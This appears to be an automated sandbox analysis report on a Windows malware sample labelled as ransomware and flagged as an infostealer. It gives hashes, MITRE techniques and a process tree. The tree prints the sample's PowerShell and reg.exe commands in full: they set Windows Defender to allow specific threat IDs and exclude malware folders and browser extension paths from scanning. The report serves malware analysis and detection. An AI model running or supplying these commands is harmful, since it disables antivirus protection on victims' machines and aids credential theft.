67ac29186d79846db7835c88b98e17d03a5ccb61a898da37bee269bcae1f8261

Analysis

max time kernel
9s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03/11/2024, 19:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2024-11-03_d9a7b282270c8acb56130343561d0ab0_bkransomware.exe
Size 6.5MB
Sample241103-x8m1csscle
SHA256 67ac29186d79846db7835c88b98e17d03a5ccb61a898da37bee269bcae1f8261
MD5 d9a7b282270c8acb56130343561d0ab0
SHA1 6ea86899031a3ace1e3f74e321e26befe5cf124d
SHA512 4c6be17d0543bb304533e8a1bdfb293760e8cf6324e67e7f8a5eb8219d41ef19b0d0e90fbaa9af52d2e4f7e58c4fe1399bab57744b17757c2e5576322ed2fb1d
SSDEEP 98304:mr0o9GKiQ7cMd4soC0PqsvEXrqGAlfnyZgBHFQhuUspa2RBaVMJj2eWExLbOKvjG:mr0oEaboC2EX6lfNlF9Uf2vaE2+L68j
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2560	powershell.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3828	4828	WerFault.exe	83

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-03_d9a7b282270c8acb56130343561d0ab0_bkransomware.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4484	schtasks.exe
3112	schtasks.exe
2244	schtasks.exe
3552	schtasks.exe
4416	schtasks.exe
2716	schtasks.exe
2416	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1504	powershell.exe
1504	powershell.exe
2992	powershell.exe
2992	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	2992	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4828 wrote to memory of 1504	4828	2024-11-03_d9a7b282270c8acb56130343561d0ab0_bkransomware.exe	92
PID 4828 wrote to memory of 1504	4828	2024-11-03_d9a7b282270c8acb56130343561d0ab0_bkransomware.exe	92
PID 4828 wrote to memory of 1504	4828	2024-11-03_d9a7b282270c8acb56130343561d0ab0_bkransomware.exe	92
PID 1504 wrote to memory of 1884	1504	powershell.exe	95
PID 1504 wrote to memory of 1884	1504	powershell.exe	95
PID 1504 wrote to memory of 1884	1504	powershell.exe	95
PID 1884 wrote to memory of 4112	1884	cmd.exe	181
PID 1884 wrote to memory of 4112	1884	cmd.exe	181
PID 1884 wrote to memory of 4112	1884	cmd.exe	181
PID 1504 wrote to memory of 1752	1504	powershell.exe	97
PID 1504 wrote to memory of 1752	1504	powershell.exe	97
PID 1504 wrote to memory of 1752	1504	powershell.exe	97
PID 1504 wrote to memory of 4672	1504	powershell.exe	153
PID 1504 wrote to memory of 4672	1504	powershell.exe	153
PID 1504 wrote to memory of 4672	1504	powershell.exe	153
PID 1504 wrote to memory of 3012	1504	powershell.exe	99
PID 1504 wrote to memory of 3012	1504	powershell.exe	99
PID 1504 wrote to memory of 3012	1504	powershell.exe	99
PID 1504 wrote to memory of 3108	1504	powershell.exe	100
PID 1504 wrote to memory of 3108	1504	powershell.exe	100
PID 1504 wrote to memory of 3108	1504	powershell.exe	100
PID 1504 wrote to memory of 3532	1504	powershell.exe	101
PID 1504 wrote to memory of 3532	1504	powershell.exe	101
PID 1504 wrote to memory of 3532	1504	powershell.exe	101
PID 1504 wrote to memory of 216	1504	powershell.exe	102
PID 1504 wrote to memory of 216	1504	powershell.exe	102
PID 1504 wrote to memory of 216	1504	powershell.exe	102
PID 1504 wrote to memory of 1936	1504	powershell.exe	103
PID 1504 wrote to memory of 1936	1504	powershell.exe	103
PID 1504 wrote to memory of 1936	1504	powershell.exe	103
PID 1504 wrote to memory of 1548	1504	powershell.exe	104
PID 1504 wrote to memory of 1548	1504	powershell.exe	104
PID 1504 wrote to memory of 1548	1504	powershell.exe	104
PID 1504 wrote to memory of 2124	1504	powershell.exe	105
PID 1504 wrote to memory of 2124	1504	powershell.exe	105
PID 1504 wrote to memory of 2124	1504	powershell.exe	105
PID 1504 wrote to memory of 3016	1504	powershell.exe	106
PID 1504 wrote to memory of 3016	1504	powershell.exe	106
PID 1504 wrote to memory of 3016	1504	powershell.exe	106
PID 1504 wrote to memory of 3100	1504	powershell.exe	107
PID 1504 wrote to memory of 3100	1504	powershell.exe	107
PID 1504 wrote to memory of 3100	1504	powershell.exe	107
PID 1504 wrote to memory of 3528	1504	powershell.exe	108
PID 1504 wrote to memory of 3528	1504	powershell.exe	108
PID 1504 wrote to memory of 3528	1504	powershell.exe	108
PID 1504 wrote to memory of 4832	1504	powershell.exe	109
PID 1504 wrote to memory of 4832	1504	powershell.exe	109
PID 1504 wrote to memory of 4832	1504	powershell.exe	109
PID 1504 wrote to memory of 844	1504	powershell.exe	110
PID 1504 wrote to memory of 844	1504	powershell.exe	110
PID 1504 wrote to memory of 844	1504	powershell.exe	110
PID 1504 wrote to memory of 4460	1504	powershell.exe	111
PID 1504 wrote to memory of 4460	1504	powershell.exe	111
PID 1504 wrote to memory of 4460	1504	powershell.exe	111
PID 1504 wrote to memory of 4252	1504	powershell.exe	112
PID 1504 wrote to memory of 4252	1504	powershell.exe	112
PID 1504 wrote to memory of 4252	1504	powershell.exe	112
PID 1504 wrote to memory of 3604	1504	powershell.exe	156
PID 1504 wrote to memory of 3604	1504	powershell.exe	156
PID 1504 wrote to memory of 3604	1504	powershell.exe	156
PID 1504 wrote to memory of 2416	1504	powershell.exe	231
PID 1504 wrote to memory of 2416	1504	powershell.exe	231
PID 1504 wrote to memory of 2416	1504	powershell.exe	231
PID 1504 wrote to memory of 4612	1504	powershell.exe	115

C:\Users\Admin\AppData\Local\Temp\2024-11-03_d9a7b282270c8acb56130343561d0ab0_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-03_d9a7b282270c8acb56130343561d0ab0_bkransomware.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1884
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      System Location Discovery: System Language Discovery
      PID:4112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4672
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3012
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1936
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1548
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2124
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3016
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3528
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4832
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4252
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3604
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4612
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2300
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1624
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1708
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3796
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4292
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CrMlUHwzZrOvKOANJwR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CrMlUHwzZrOvKOANJwR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VIMHHsZneVOU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VIMHHsZneVOU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YjZrkRZcATwIC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YjZrkRZcATwIC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oCqwGptxodUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oCqwGptxodUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yttLANDNU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yttLANDNU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\gjIobdSWmcoaRMVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\gjIobdSWmcoaRMVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IdvADSCkKtFvgUPLq\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IdvADSCkKtFvgUPLq\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mFvcFyBOELXmoucN\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mFvcFyBOELXmoucN\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2992
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CrMlUHwzZrOvKOANJwR" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1304
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CrMlUHwzZrOvKOANJwR" /t REG_DWORD /d 0 /reg:32
      4⤵
      System Location Discovery: System Language Discovery
      PID:1440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CrMlUHwzZrOvKOANJwR" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5096
- - C:\Windows\SysWOW64\reg.exe
